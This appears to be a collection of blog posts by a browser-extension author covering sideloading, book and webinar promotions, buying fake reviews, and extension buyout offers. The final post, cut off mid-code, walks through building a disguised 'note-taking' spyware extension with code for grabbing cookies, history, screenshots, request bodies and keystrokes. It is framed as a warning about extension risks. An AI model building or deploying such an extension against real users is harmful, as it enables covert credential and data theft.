Marketplaces

Apple App Store, Google Play, Chrome Web Store, Microsoft Store, Linux Snap Store, Visual Studio Marketplace, Steam.

These are curated stores, operated by the OEM or a trusted third party company, which gather software into a single trusted location. Users browse, search, and install with a single click. The marketplace handles automatic updates, permissions, and payments. The emphasis is on convenience.

DIY

Covers everything outside marketplaces. You might be downloading a prebuilt binary directly from a developer’s website, pulling a package from a GitHub release, installing via a package manager like Homebrew or apt, or even cloning a repository and building from source. Updates are manual, payment is ad hoc, and permissions are a matter of caveat emptor. The emphasis is on flexibility.

The recent news about Google deciding to block sideloaded apps has sharpened the discourse around how we load software onto our devices. (We’ll skip over the debate about how appropriate the term “sideloading” is to describe software installation). The general consensus is that this move is extremely hostile towards users and developers, and I strongly agree with this sentiment.

Let’s explore why this move is hostile with a browser extension analogy.

In the realm of browser extensions, let’s review our install avenues:

Marketplaces: Chrome Web Store, Firefox Add-on Store, Edge Add-on Store, Opera Add-ons Store

DIY: load extension from source

Problem: I have a bad habit of idly browsing social media feeds when I’m supposed to be working, and I suspect I’m not alone. After all, the feeds are designed to be addictive. I don’t want to wholesale block these sites entirely, as I use parts of them for work, I just want to stop myself from winding up on the feed. Of course, these sites try very hard to dump you back on the feed.

Solution: a very simple browser extension that redirects from the feed to your profile.

• It intentionally does this in a very dumb way (waiting for the browser to finish redirects, so there is a flash of the feed), but it always works.

• I can still use messaging, see my profile, and use the rest of the platform normally.

• When I’m inevitably pushed back to the feed, I’m kicked right back to my profile. There’s no opportunity for me to be “sucked in” for 20 minutes

• On the rare occasion I do need to see the feed, I can toggle the extension on/off easily.

The NoFeeds extension is less than 100 lines of code and 2 files, scroll down to see the full source.

There’s no need for anyone to install NoFeeds from a Marketplace.

• NoFeeds uses dangerous permissions. tabs and <all_urls> give an extension near-total visibility into your browsing. If I install this from a marketplace, I’m implicitly granting these permissions to the developer as long as I have the extension installed.

• No need for automatic updates. This extension is <100 lines of code, has no dependencies, and uses a handful of Web Extensions APIs. What is there to update?

• Keep it dead simple. I don’t need a flashy UI, I don’t need an onboarding flow, I don’t need a homepage or a blog or a settings page or an icon that animates or a modal that asks for reviews or a toggle buried behind three menus or a welcome tour or a privacy policy link that opens in a new tab or a custom font or an update banner or a “rate us” prompt or a cute empty state or a tooltip explaining what a tooltip is. It should work just like an adblocker - install and forget.

• Easy customization. Want to add your own social media redirects? Just modify the redirect rules yourself and reload. I don’t need a list of 460 commonly used social media sites that I don’t use.

• Zero risk of compromise or tracking. The entire source code is easy to read and understand. I can be 100% sure this extension is self-contained and will stay that way.

• Zero technical ability required to install. There’s no build process or compilation. Download the code, enable developer mode in your browser, and load the folder. Anyone proficient with Microsoft Word can do it.

• LLMS are great for analysis/modification. Any non-technical user can dump the source into an LLM and ask for modifications, or ask if it’s safe to self-install. I’m comfortable asserting that LLMs are still trustworthy in this respect, and would be able to accurately modify or analyze this tiny program.

Installing self-installed extensions should be way more common

There’s plenty of one-off extensions like this to improve quality-of-browsing-life for desktop browsers. The userScripts API sort of addresses this, but I continue to find a DIY-installed set-and-forget extension is best and simplest.

It’s easier than ever these days to use a LLM to churn out a small-scale custom browser extension that fixes something we hate about the web. Why not self-install these? LLMs leave a lot to be desired in many areas, but for now I think I’m pretty safe to say that they can be trusted to not shim some spyware into a home-rolled browser extension.

What if the extension DIY install avenue was removed?

Let’s return now to the Android analogy. Suppose that all browsers removed option for DIY install. I’m a layman consumer without a developer account, and I want to use NoFeeds.

Now I must install it from a marketplace.

• I can’t turn off silent automatic updates for an extension that needs no updates. What if this extension gets popular and is sold to an untrustworthy developer? I’m getting that developer’s update whether I like it or not.

• What if the extension is closed source, and changes in a way I don’t like? The best I can do is bother the developer and hope for the best.

• What if I want to use it on a different browser? If it’s only published on one marketplace, I’m out of luck.

This would be completely unacceptable.

This perfectly mirrors the conundrum the Android community is facing. Granted, the mobile device APIs and device surface is far larger, and considerably more money flows through mobile apps than extensions. Proponents might make the argument that there’s security concerns, but I’d argue the data that flows through a desktop web browser is just as sensitive as that on a mobile device.

The freedom to install our own software isn’t a loophole, it’s a cornerstone of personal computing.

NoFeeds source code:

manifest.json

{
  “manifest_version”: 3,
  “name”: “NoFeeds”,
  “version”: “1.0”,
  “description”: “Redirects feed pages of common social media platforms to profile pages.”,
  “permissions”: [”tabs”, “storage”],
  “host_permissions”: [”<all_urls>”],
  “background”: {
    “service_worker”: “background.js”
  },
  “action”: {}
}

background.js

const BADGE_COLOR_ON = “#00FF00”; // Green
const BADGE_COLOR_OFF = “#FF0000”; // Red
const ENABLED = “enabled”;

const redirectRules = [
  {
    feedUrl: “https://www.linkedin.com/feed/”,
    profileUrl: “https://linkedin.com/in/”,
  },
  {
    feedUrl: “https://www.facebook.com”,
    profileUrl: “https://facebook.com/me”,
  },
  {
    feedUrl: “https://x.com/home”,
    profileUrl: “https://x.com/i/profile”,
  },
];

async function initializeExtension() {
  const { enabled } = await chrome.storage.local.get(ENABLED);

  if (enabled === undefined) {
    await chrome.storage.local.set({ enabled: true });
  }

  await updateIcon();
}

async function updateIcon() {
  const { enabled = true } = await chrome.storage.local.get(ENABLED);
  const badge = enabled ? “ON” : “OFF”;
  const color = enabled ? BADGE_COLOR_ON : BADGE_COLOR_OFF;

  chrome.action.setBadgeText({ text: badge });
  chrome.action.setBadgeBackgroundColor({ color });
}

chrome.runtime.onInstalled.addListener(() => {
  initializeExtension();
});

chrome.action.onClicked.addListener(async () => {
  const { enabled } = await chrome.storage.local.get(ENABLED);
  const newState = !enabled;

  await chrome.storage.local.set({ enabled: newState });
  await updateIcon();
});

chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {
  if (changeInfo.status !== “complete” || !tab.url) {
    return;
  }

  const { enabled } = await chrome.storage.local.get(ENABLED);
  if (!enabled) {
    return;
  }

  const currentUrl = new URL(tab.url);

  for (const { feedUrl, profileUrl } of redirectRules) {
    const feedUrlObj = new URL(feedUrl);
    if (
      currentUrl.hostname === feedUrlObj.hostname &&
      currentUrl.pathname === feedUrlObj.pathname
    ) {
      chrome.tabs.update(tabId, { url: profileUrl });
      break;
    }
  }
});

initializeExtension();

I wrote the first edition of Building Browser Extensions in 2022 to address what I judged to be a dire need in the extension ecosystem.

• Development was poorly documented and under-resourced.

• There were no practical, developer-focused guides that explained how extensions actually worked.

• Web developers had powerful APIs available to them, but most didn’t realize just how much could be accomplished inside the browser environment.

• The transition to Manifest V3 was also reshaping extension development, and developers urgently needed guidance to navigate the changes.

The reception to the 1st edition was overwhelmingly positive. Developers and companies alike immediately identified the value of a high-quality text covering extension development.

A few months after the first edition was published, OpenAI released ChatGPT, and the large language model boom transformed software development, including and especially extension development. In 2025, it has never been easier to build and publish an extension. At the same time, an entirely new category of LLM-powered extensions has emerged. With this second edition, I wanted to capture both the timeless fundamentals of extension development and the new opportunities that have opened up.

Extensions are insanely powerful pieces of software. In the hands of a careful developer, they are elegant tools that unlock capabilities websites can’t reach. In the hands of an inexperienced developer, they can be clumsy or insecure. In the hands of a malicious actor, they become vehicles for infiltration and theft. This book gives you the tools to ensure your extensions are efficient, secure, and reliable.

The WebExtensions API has advanced considerably in recent years. Manifest V3 is now the standard across Chromium browsers, and new additions like the side panel, offscreen documents, user scripts, and vendor-specific APIs such as the Chrome Prompt API are covered in depth.

One of the most frequent requests I heard after the first edition was for more tutorials. In response, I dedicated an entire chapter to hands-on projects that walk through real-world extensions. You’ll learn how to build:

• Tab managers

• Screen recorders

• Ad blockers

• Password managers

• User script managers

• AI chatbots

• Monetized extensions

Extension tooling has also come a long way. React remains the most widely used framework, but new platforms such as Vite, Extension.js, and WXT have grown in popularity. I’ve updated the book’s coverage of frameworks and tooling to reflect how developers actually work today.

You Will Learn:

• The fundamental building blocks of browser extensions and how they interact with the browser

• How to avoid common pitfalls that can lead to vulnerabilities, performance issues, or marketplace rejections

• How to master the entire development lifecycle, from writing your first extension to publishing in the Chrome Web Store, Firefox Add-ons, and other repositories

• Best practices for networking, authentication, storage, and extension management

• How to build with modern tools, languages, and frameworks

New for This Edition:

• Coverage of the latest APIs: side panel, offscreen documents, user scripts, and vendor-specific APIs like the Chrome Prompt API

• Hands-on tutorials for building extensions including monetization strategies, AI assistants, password managers, ad blockers, and DevTools integrations

• Updated coverage of frameworks and tooling such as Vite, Extension.js, and WXT

Patrick Kettner, the Chrome Extension Developer Advocate who brought me into the Google Developer Expert program, generously served as both the foreword author and technical editor. The book is considerably stronger because of his expert contributions.

I sincerely hope you enjoy!

-Matt Frisbie

Get the book on Amazon

Get the book on Springer LInk

Join me for this upcoming webinar in the Seraphic Attack Surface Series, where I’ll join Alon Levin, VP of Product Management at Seraphic, to analyze real-world extension-based breaches, including Cyberhaven, ChromeLoader, PDF Toolbox, and Dataspii, and reveal how attackers exploit browser extensions to infiltrate enterprises.

What we will cover:
✔ How attackers manipulate browser extensions to evade security controls
✔ Insights from major extension-based breaches and their impact
✔ Why traditional security tools fail to detect these threats
✔ Actionable strategies to protect your organization

Who should attend?
This webinar is ideal for CISOs, security architects, IT leaders, and anyone responsible for securing enterprise environments against emerging threats.

Live Q&A
The session will include a live Q&A—don’t miss your chance to get expert insights and practical recommendations!

📅 Date: Thursday, March 20, 2025
⏰ Time: 11:00 AM ET | 5:00 PM CET
📍 Location: Online (Zoom)

Register here: https://seraphicsecurity.com/resources/webinar/the-unreasonable-effectiveness-of-malicious-browser-extensions

Browser extensions are routinely granted extensive permissions, allowing access to users’ browsing information, passwords, cookies, and more, exposing users to risks such as credential theft, account takeover, and data theft. This risk is further compounded in enterprise environments, as exposure of corporate credentials can lead to data breaches that impact the entire organization, its employees, and customers. Many security professionals are not sufficiently aware of this danger and don’t have the appropriate skills and tools to evaluate their risk and take proper precautions to mitigate it.

In part 2 of this series, I discuss the risks of browser extensions in corporate environments and what you can do to minimize your risk while still using legitimate extensions.

Watch the webinar here: https://layerx.easywebinar.live/registration-stopping-malicious-browser-extensions

Malicious extensions are a real threat, and the risks they present to both individuals and businesses demand a deeper, more comprehensive discussion.

Over the coming months, I’ll be publishing essays, recording webcasts, and collaborating with various companies in the extension security space to explore all the ways that browser extensions can cause problems, and all the different strategies you can deploy to harden your browser against this deceptively sneaky attack vector.

In part 1, I published a guest essay on the Spin.AI blog discussing how organizations can meet the extension threat model head on. Spin.AI is an all-in-one SaaS security platform that protects your SaaS data across multiple environments.

Read the essay here: Unpacking the Browser Extension Threat Model: Mastering the Balance Between User Empowerment and Organizational Security

As the author of Building Browser Extensions, I receive lots of inbound interest from companies seeking to outsource extension development or searching for expert consultation on their extension projects. The demand far outstrips my bandwidth, so I started trying to find developers to match with these projects.

The response was overwhelming, so I’m announcing the Extension Developer Network (EDN). The EDN is a carefully curated directory of vetted extension developers, designed to connect companies with the right talent for their projects.

The EDN is growing rapidly and is already connecting companies to developer talent.

• If you’re an extension developer looking to connect with exciting projects, schedule an interview to become part of the EDN.

• If your company is seeking extension developer talent, reach out to be connected to an EDN developer.

Contact email: matt@classvsoftware.com

Browser extensions are often dismissed as gimmicks or frills because the ecosystem is highly diverse: UBlock Origin can be installed alongside Music of Minecraft. Yet dismiss browser extensions at your own peril, as they are some of the most important tools for guarding privacy and enhancing security.

A perfect analogy for how extensions fit into the open web is driving a car:

• Roads are the internet. Everyone uses the roads to move around, but without any rules or protections, it would be chaos.

• Traffic signals, signs, speed limits, and police are the web browsers. These enforce rules for how the roads must work, and they exist to protect everyone on the road.

• Seatbelts, mirrors, backup cameras, and collision warnings are the browser extensions. These are in your own car, and they exist to protect you.

With this perspective, it becomes imperative to protect the integrity of the extension ecosystem.

Addressing Browser Extension Transfers

Extension developers are constantly getting offers to buy their extensions. In nearly every case, the people buying these extensions want to rip off the existing users.

When an extension is purchased and transferred, existing users are unaware that any of this has happened. The new owner is free to push updates, and the users’ browsers will happily accept and install these updates.

To address this problem, I built Under New Management, an extension that tracks when your installed extensions have changed owners.

The response was incredible!

• Under New Management made it to the top of Hacker News

• Under New Management featured in the tl;dr sec newsletter

• The Register wrote an article about Under New Management

Next Steps

I’ve recommended an API change to the Web Extensions Community Group (WECG) to directly address this issue, and I’ve looped in the Chrome Extensions team. I’m pleased to say that they are taking this very seriously.

Make sure to leave a comment on the WECG GitHub issue!

When publishing an extension to the the Chrome Web Store, you’re required to publish a developer email - ostensibly to give users a way to contact you. This also opens the “Extension Spam Lagoon” dump valve into your inbox.

• If your extension has a lot of users, the spammers want to buy your extension for vague reasons like “adding it to their portfolio”.

• If your extension doesn’t have a lot of users, the spammers want you to buy their “promotional services” to boost the number of users and reviews - completely legitimately, of course.

To find out what fake reviews actually look like, I’ll publish a brand new extension that nobody would ever use or review, and buy some fake reviews for it.

Step 1: Publish a pointless extension

First, I’ll need a totally useless Chrome extension. How about one that displays the first byte of the HTTP response?

The extension will send a request to the active tab’s URL and show the result in a popup:

Source: https://github.com/msfrisbie/first-byte

(Never mind that this doesn’t account for authentication. It just needs to be as useful as a chocolate teapot.)

Since the extension uses the less-invasive activeTab permission, it was rapidly approved for the Chrome Web Store: https://chromewebstore.google.com/detail/first-byte/nkikhefaobjaccmcngakfmelebahleea

Step 2: Lie in wait

It did not take long for the lagoon to find me. Here’s the top of my inbox the next morning:

I’m assuming these people are running a recurring scrape of the Chrome Web Store and cold emailing new entries.

I chose the emailer who judiciously applied their Shift key. Here’s the full initial email:

From: Fake Review Guy
To: Matt Frisbie

Hello,
Hope this message finds you well.
I'm Fake Review Guy, a digital marketing expert specialized in products and service promotion. I came across your extension on the Chrome Web Store via Chrome stats. It has quite a good number of users but low reviews/ratings... Chrome has an algorithm of promoting and featuring extensions with a lot of engagements to get more visibility and recommendations... I have a strategy that will get your extension more engagements by providing positive reviews about your extension and also by getting the targeted audience for massive installs... We can add 100-200 reviews to your extension and note the reviews are real and organic...
Gladly and kindly respond to this message. Let's collaborate and take your extension to a higher level.

Do you mind if I share my suggestion?

Before buying any fake reviews, I wanted to extract as much info from them as I could. First, I asked how they claim to get these reviews. The response:

Firstly I get the reviews and installs from real users organically....
How do I do this?
I reach out to them via Social Media Ads, Google ads and some Social Media groups and pages and channels as well....

NOTE: We don't use bots to get the downloads because we understand the terms and conditions of the Chrome Web Store. I do not offer fake reviews and I get my reviews by giving them an irresistible offer so they would be compelled to drop a review and I can guarantee you 100% that all reviews are legit

BENEFITS OF PROMOTION:
We understand the algorithm of the Web Store in featuring extensions to get recommendations and visibility. And they feature extensions with lots of engagements that's extensions with a good number of installs and reviews. So after promotion and we add more users and reviews to your extension it will be more visible and will have a good ranking on the Web Store search engine.
Let me know what your budget is and the number of installs and reviews you want us to start working on properly then I will give you my pricing plan.

Who could possibly poke holes in this?

First, I asked who “we” was:

My team

…and the max number of reviews they could do:

1000 is the highest we can do.

And the reviews are real and organic...

Next, I asked for examples of extensions they had worked with before:

AI-Powered DealDazzle Search

Bot Bingo

Save to Notion

No good way of knowing if these are legit or not. Finally, I asked how much per review:

For the review, I will charge $1 per review, paypal or crypto...
Once you make the payment, I will get started immediately with my team

$1 per review? That’s like one AdSense click. Their conversion rate must be the envy of every digital marketing agency!

I’m sold, let’s pull the trigger!

Step 3: Buying fake reviews

My budget for this project was $30. After a bit of haggling, they agreed to 50 users and 10 reviews. I sent the payment, and waited.

The next morning, I woke up to find that Santa had come!

Check out the fake reviews here: https://chromewebstore.google.com/detail/first-byte/nkikhefaobjaccmcngakfmelebahleea/reviews

I was surprised at how believable these reviews were, so I’m assuming they’re AI-generated.

Takeaways

The battle against paid fake reviews will never be won, but there should be at least a tiny bit of friction to deter fake reviews.

Here’s the Chrome Web Store policy on user reviews:

With no verification of authenticity, and with the newfound saturation of LLMs, of course extension reviews are going to become an unreliable swamp.

Users need reliable reviews to make informed software decisions.

The first line of defense against malicious extensions should be the Chrome Web Store detecting these extensions and expelling them, but currently this is the only line of defense.

Some ideas to solve this problem:

• Encourage more reviews from real users. There are plenty of high-quality extensions out there with large numbers of happy users, but it’s completely up to extension developers to push their users to leave reviews. More should be done from Chrome’s side to encourage reviews from real users, à la Google Play and the App Store reminding users to review.

• Automatically discard untrustworthy reviews. Google is going all-in on AI, and they have a huge corpus of extensions, reviews, and account/browser metadata. If even 1% of the sophistication of detecting fake ad clicks is applied here, the improvement would be substantial.

• Give users a way to learn about the accounts behind these reviews. Other than a name and avatar image, there is no way for a user to learn anything about the identity of someone who leaves a review, positive or negative. People are pretty good at identifying suspicious accounts. Reddit’s model of public comments/posts is a good example of this.

Matt Frisbie is a Web Extensions Google Developer Expert

mattfriz.com

As a Web Extensions Google Developer Expert, I constantly see this question asked by extension developers:

This question underscores a universal struggle within the extension ecosystem: regardless of their utility, innovative features, or the problem they solve, extensions face an uphill battle for visibility.

All extensions - especially newly created extensions - suffer from this problem.

• The Chrome Web Store’s catalogue is massive, and all but the most popular extensions are buried in search results.

• An extension without reviews or users will have a hard time getting someone to install it.

• Digital advertising is very expensive, and most extensions tend to generate little or no revenue.

Enter the concept of community-driven growth. It's no secret that extension enthusiasts not only love utilizing these tools to enhance their browsing experience but are also always on the lookout for the next great addition to their digital toolkit.

This insight lies at the heart of the solution I've been collaborating on: ExBoost.

What is ExBoost?

ExBoost proposes a simple approach to extension promotion: a networked ecosystem where extensions help each other gain visibility through mutual promotion.

ExBoost is a network of extensions that add banners to “boost” each other with promotional banners.

It’s similar to conventional digital advertising, with a few important differences:

• ExBoost banners only show publicly available extensions, never ads for websites or products.

• ExBoost banners only link to the Chrome Web Store, so there is no opportunity for fraud or deceptive practices.

• ExBoost is free to use, and does not require signup.

ExBoost banner inside the Example Chrome Extension popup

How does ExBoost work?

ExBoost balances traffic across extensions: the more impressions and clicks that come from your extension, the more your extension will be shown inside other extensions.

How does ExBoost make money?

Need more traffic? You can pay for a campaign to show your extension more often, or to improve targeting.

How can I install ExBoost?

Instructions for installing ExBoost can be found here: https://github.com/classvsoftware/exboost.js

You can add as many ExBoost banner slots to your extension as you want, and make them any size.

When will ExBoost be available?

You can add ExBoost slots to your extension today! Install ExBoost and get your extension showing banners right away.

The ExBoost dashboard is currently in a closed beta. The dashboard is where you can register your extensions, create campaigns, and track slot performance. Click the button below to join the beta.

GET EARLY EXBOOST ACCESS

Learn more: extensionboost.com

Reach out: classvsoftware@gmail.com

When confronted with having to do a thing, nobody in this world will work harder than a lazy person to not do that thing.

In October, I published the 5th edition of Professional JavaScript for Web Developers, and I’m reminded of a disaster that I averted when publishing the previous edition in 2019.

The 4th edition was a 1,200 page monstrosity that took me the better part of two years to revise. Upon finishing the book revisions and editing process, I was utterly horrified to receive this email from my editor:

Hi Matt,

Please let me know how you would like to submit all the code snippets from the book.

I had completely overlooked the eventual need to extract all the example code snippets in the book and provide them for readers to download.

Professional JavaScript has thousands of code snippets and examples, most of which are unnamed blocks of inline code. Here’s one example page from the Async/Await chapter:

Without a clever workaround, I was doomed to spend weeks copying and pasting example after example out of the drafts.

As a lazy person, I was determined to not do the thing.

Extracting XML

The book draft was written in Microsoft Word .docx files with a special publisher template, one file for each chapter. I knew that all .docx files are essentially ZIP files containing XML and other files used by Microsoft Word, so they could be extracted using any standard unzip utility. If I could figure out a reliable way of parsing and extracting code snippets from that XML, the lazy man might yet prevail.

I fired up a terminal and ran unzip c11_revised.docx to see what I’d get back:

Seems promising. Let’s see what the code snippet from above looks like in word/document.xml:

Looks like the code snippets are broken into long sequences of nested elements, but each contains an element with the attribute w:val="CodeSnippet" .

A plan emerges: any consecutive XML elements containing w:val="CodeSnippet" could be stitched together into a single string until a w:val attribute NOT equal to CodeSnippet was encountered. This joined string would be recorded as the full code snippet - with formatting preserved, since the whitespace is included.

File Extensions

The book’s snippets were predominantly JavaScript, but there were some HTML files sprinkled throughout the book - and none were directly identified by an HTML filename.

Fortunately, the HTML files were so simplistic that I could just check the snippet string for HTML elements to determine the file extension.

Naming Things

But what to name the damn files? The snippets are just code floating around in the page. Thankfully, the publisher’s template offered a solution: the header hierarchy.

In the process of writing the book, I’d dutifully stuck to the header styles, since this allows the table of contents to be easily generated.

In doing so, the underlying XML had a hierarchy of attributes denoting chapter titles, sections, and subsections that I would be able to extract.

Smells like a directory/file structure to me!

Assuming I could iteratively parse the XML, track the current hierarchy as I traversed to each code snippet, and also track the ordinality of that snippet, I’d be able to strip out the whitespace and special characters to generate something like this:

Writing the Extractor

Python includes the excellent xml.etree.ElementTree package, which allows us to traverse an entire XML document depth-first with a simple root.iter():

Using the process described above, I threw together this python script and fired it up. The thrill of seeing it fire out 1,836 neatly organized files in about 5 seconds cannot be overstated.

I pushed the lot up to GitHub and casually replied to my editor with a link to the repo, pretending this was the plan all along.

The lazy man lives to fight another day.

Always remember: If you aren't paying for the product, you are the product.

Earlier this year, I was excited by the launch of ChatGPT, and as a weekend side project I launched ChatGPT Assistant, a browser extension to easily send prompts to ChatGPT. I never planned to monetize; my goal was merely to build free software that people would find useful.

At present, there’s about 26,000 people with ChatGPT Assistant installed. For a side project, I’m pretty happy with this. It’s a modest number compared to other Chrome extensions with hundreds of thousands or millions of users, so I didn’t think it would draw much attention.

I was not expecting what would come next. Over the ensuing weeks, people started to come out of the woodwork with monetization opportunities - some of which were quite gross.

Third Party Advertising

Emails started to come in asking to advertise inside the extension.

I'm a fan of ChatGPT Assistant and I really like how convenient and useful it is.

Have you considered offering promotional spots to those interested in promoting their products on your extension? I'm interested in promoting my own extension on ChatGPT Assistant and would love to discuss this possibility with you.

Let me know if you're open to this.

Not surprising, and in my estimation, not particularly nefarious. The open web runs on advertising, and it’s certainly possible to run ads ethically.

However, there is one wrinkle with extension pages: they are not subject to adblockers. If an extension developer were to insert ads or tracking inside either the popup or options page, any adblocking software you have installed would have no way of intercepting those requests.

Injecting Tracking Scripts

A company called Datos reached out to me

My name is ___, I am ____ at Datos - a global data analytics provider.

On behalf of the company, I would like to express our interest in the data partnership with your company. 

We are looking for partners who can provide user behavior analytics to anticipate customer needs by understanding where they are on the web journey, what information or assistance they need, and what problems they might encounter along the way.

Would you have interest in scheduling an exploratory discussion? Please share your thoughts and we'll plan accordingly.

I was intrigued! I set up a call with them to learn more.

The company pays various sources to collect anonymized clickstream data, which it then sells it to anyone who wants it: business intelligence analysts, hedge funds, that sort of thing. They wanted data sources with high data quality and at least 100,000 monthly active users.

At the end of the call, they said they wanted a trial dataset to assess how much they would pay me. Here’s what sort of stuff they’re collecting:

Selling The Whole Damn Thing (a.k.a The Ol’ Switcheroo)

The final and most common form of monetization was offers to just buy the extension outright. I got a bunch of these:

One person tried to entice me by sending screenshots of their escrow transactions:

Extension developers will be quite familiar with this. This person collected all their inbound in one place on GitHub.

I decided to haggle with these people to see how high they would be willing to go. Based on my handful of data points [# users, max_offer], it seems that these individuals are willing to pay about $0.20 per user.

Now I surely don’t know what the new owners of these extensions are doing with them, but I don’t think their intentions are noble. The vector for abuse is easy to understand: buy a well-used extension, compromise its users, and squeeze the juice however you like. Maybe you steal their credit card numbers, may be you sell their traffic, maybe you use them in a botnet. Again: it’s possible that these acquiring entities do not intend harm, but it sure doesn’t look that way.

To transfer ownership of a Chrome extension, all you have to do is fill out this form. That’s it. The users will not be notified of the new ownership, and their installed extension will continue to silently update with whatever new updates the new owners decide to push out.

For example, ChatGPT for Google is by far the most popular ChatGPT extension, with over 2 million installs. It started out innocently, as an open source project on GitHub. I myself was a happy user. However, if you check out the GitHub repository, you’ll notice that it was recently acquired:

All of this happened silently. Who bought it? What are they doing with it? We’ll never know, but I’m certainly not keeping it installed.

Note: I did not take any of these people up on their offers and have not monetized ChatGPT Assistant

Matt Frisbie is the author of Building Browser Extensions

You can reach me at mattfriz.com

As soon as your head popped off the pillow this morning, you surely thought to yourself “What I really want to do today is listen to a podcast about building browser extensions.”

Then you are in luck! I joined host Kanchan Shringi on the Software Engineering Radio podcast to discuss all things browser extensions: ecosystem, architecture, security, privacy, and the road ahead.

We chatted about key areas where they’ve been successful, popular tools for building extensions, cross-browser compatibilities to keep in mind when developing extensions, mechanisms in the browser to prevent security vulnerabilities, and how emerging platforms can help developers take advantage of exciting new possibilities.

LISTEN NOW

Manifest v3 may have taken some of the juice out of browser extensions, but I think there is still plenty left in the tank. To prove it, let’s build a Chrome extension that steals as much data as possible. I’m talking kitchen sink, whole enchilada, Grinch-plundering-Whoville levels of data theft.

This will accomplish two things:

• Explore the edges of what is possible with Chrome extensions

• Demonstrate what you are exposed to if you aren’t careful with what you install

Disclaimer: actually implementing this would be evil. You shouldn’t abuse extension permissions, steal user data, or build malicious browser extensions. Any implementation, derivative extension, or utilization of these techniques, without the express written consent of Major League Baseball, is not advised.

Ground Rules

• The user shouldn’t be aware that anything is happening behind the scenes.

• There must be no visual indication that anything is awry.

  • No extra console messages, warnings, or errors.

  • No additional browser warning or permission dialogs.

  • No extra page-level network traffic.

• Once the user agrees to the *ahem* ample permission warnings, that’s the last time they should have to think about the extension’s permissions.

Chrome Extension Crash Course

If you’re not familiar with the internals of browser extensions, there’s three components that we care about for our evil extension:

Background Service Worker

• Event driven. Can be used as a “persistent” container for running JavaScript

• Can access all* of the WebExtensions API

• Cannot access DOM APIs

• Cannot directly access pages

Popup Page

• Only opens after user interaction

• Can access all* of the WebExtensions API

• Can access DOM APIs

• Cannot directly access pages

Content Script

• Has direct and full access to all pages and the DOM

• Can run JavaScript in page, but in sandboxed runtime

• Can only use a subset of the WebExtensions API

• Subject to same restrictions as page (CORS, etc)

*Minor restrictions apply, batteries not included

Obtaining Global Permissions

Just for fun, our malicious extension will request all possible permissions. https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ has a list of Chrome extension permissions, and we’ll take the lot.

After pruning out all permissions that Chrome doesn’t support, we get the following:

{
  ...
  "host_permissions": ["<all_urls>"],
  "permissions": [
    "activeTab",
    "alarms",
    "background",
    "bookmarks",
    "browsingData",
    "clipboardRead",
    "clipboardWrite",
    "contentSettings",
    "contextMenus",
    "cookies",
    "debugger",
    "declarativeContent",
    "declarativeNetRequest",
    "declarativeNetRequestWithHostAccess",
    "declarativeNetRequestFeedback",
    "desktopCapture",
    "downloads",
    "fontSettings",
    "gcm",
    "geolocation",
    "history",
    "identity",
    "idle",
    "management",
    "nativeMessaging",
    "notifications",
    "pageCapture",
    "power",
    "printerProvider",
    "privacy",
    "proxy",
    "scripting",
    "search",
    "sessions",
    "storage",
    "system.cpu",
    "system.display",
    "system.memory",
    "system.storage",
    "tabCapture",
    "tabGroups",
    "tabs",
    "tabs",
    "topSites",
    "tts",
    "ttsEngine",
    "unlimitedStorage",
    "webNavigation",
    "webRequest"
  ],
}

manifest.json

Most of these permissions won’t be needed, but who cares? Let’s see what the warning message looks like:

Chrome scrolls the permission warning message container, so more than half of the warning messages don’t even show up. I’d bet most users wouldn’t think twice about installing an extension that appears to ask for just 5 permissions.

The full permission warning list is as follows:

• Above the fold:

  • Access the page debugger backend

  • Read and change all your data on websites

  • Detect your physical location

  • Read and change your browsing history on all your signed-in devices

  • Display notifications

• Below the fold:

  • Read and change your bookmarks

  • Read and modify data you copy and paste

  • Capture content of your screen

  • Manage your downloads

  • Identify and eject storage devices

  • Change your settings that websites’ access to features such as cookies, JavaScript, plugins, geolocation, microphone, camera, etc.

  • Manage your apps, extensions, and themes

  • Communicate with cooperating native applications

  • Change your privacy-related settings

  • View and manage your tab groups

  • Read all text using spoken synthesized speech

Let’s add in a content script that runs in all pages and frames, extend our extension’s coverage to incognito windows, and make all our resources accessible just in case we need them:

{
  ...
  "web_accessible_resources": [
    {
      "resources": ["*"],
      "matches": ["<all_urls>"]
    }
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "all_frames": true,
      "css": [],
      "js": ["content-script.js"],
      "run_at": "document_end"
    }
  ],
  "incognito": "spanning",
}

manifest.json

The Extension Facade

Our heinous extension will masquerade as a note-taking app:

This gives us an extension page that will be opened frequently, allowing us to perform nefarious data collection silently. We’ll also use a background service worker.

Analytics and Data Exfiltration

Life is short, the internet is fast, and storage is cheap. Any data our extension decides to collect can be sent off to a server we control through the background service worker, and the user will be none the wiser. These network requests will only show up if they decide to inspect the network activity of the extension itself, which is pretty hard to get to.

Want to add invasive user tracking to web pages? No problem! Network traffic from the background page is not subject to ad blockers or other user privacy extensions, so track every click and keystroke to you heart’s content. (External network traffic managers and things like PiHole will still work)

Very Low Hanging Fruit

Right off the bat, the WebExtensions API lets us collect quite a bit with almost zero effort.

Cookies

chrome.cookies.getAll({}) retrieves all the browser’s cookies as an array.

History

chrome.history.search({ text: "" }) retrieves the user’s entire browsing history as an array.

Screenshots

chrome.tabs.captureVisibleTab() silently captures a screenshot of whatever the user is currently looking at. We can call this as often as we like with messages sent from the content script - or even more frequently on URLs we deem to be valuable. The API returns the image as nice data URL strings, so it’s trivial to whisk them off to our data collection endpoint.

Are your browser extensions capturing your screen right now? You’ll never know!

User Navigation

We can use the webNavigation API to easily track the user’s browsing activity in real time:

chrome.webNavigation.onCompleted.addListener((details) => {
  // {
  //   "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
  //   "documentLifecycle": "active",
  //   "frameId": 0,
  //   "frameType": "outermost_frame",
  //   "parentFrameId": -1,
  //   "processId": 139,
  //   "tabId": 174034187,
  //   "timeStamp": 1676958729790.8088,
  //   "url": "https://www.linkedin.com/feed/"
  // }
});

background.js

Page Traffic

The webRequest API lets us watch all network traffic from every tab, tease out network traffic with a requestBody, and extract capturing credentials, addresses, etc:

chrome.webRequest.onBeforeRequest.addListener(
  (details) => {
    if (details.requestBody) {
      // Capture requestBody data
    }
  },
  {
    urls: ["<all_urls>"],
  },
  ["requestBody"]
);

background.js

Keylogger

With a content script running on every page, reading keystrokes is dead easy. Creating a keystroke buffer that is periodically flushed will give us nice consecutive keystrokes that are easy to read.

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
  if (buffer.length > 0) {
    // Flush the buffer

    buffer = "";
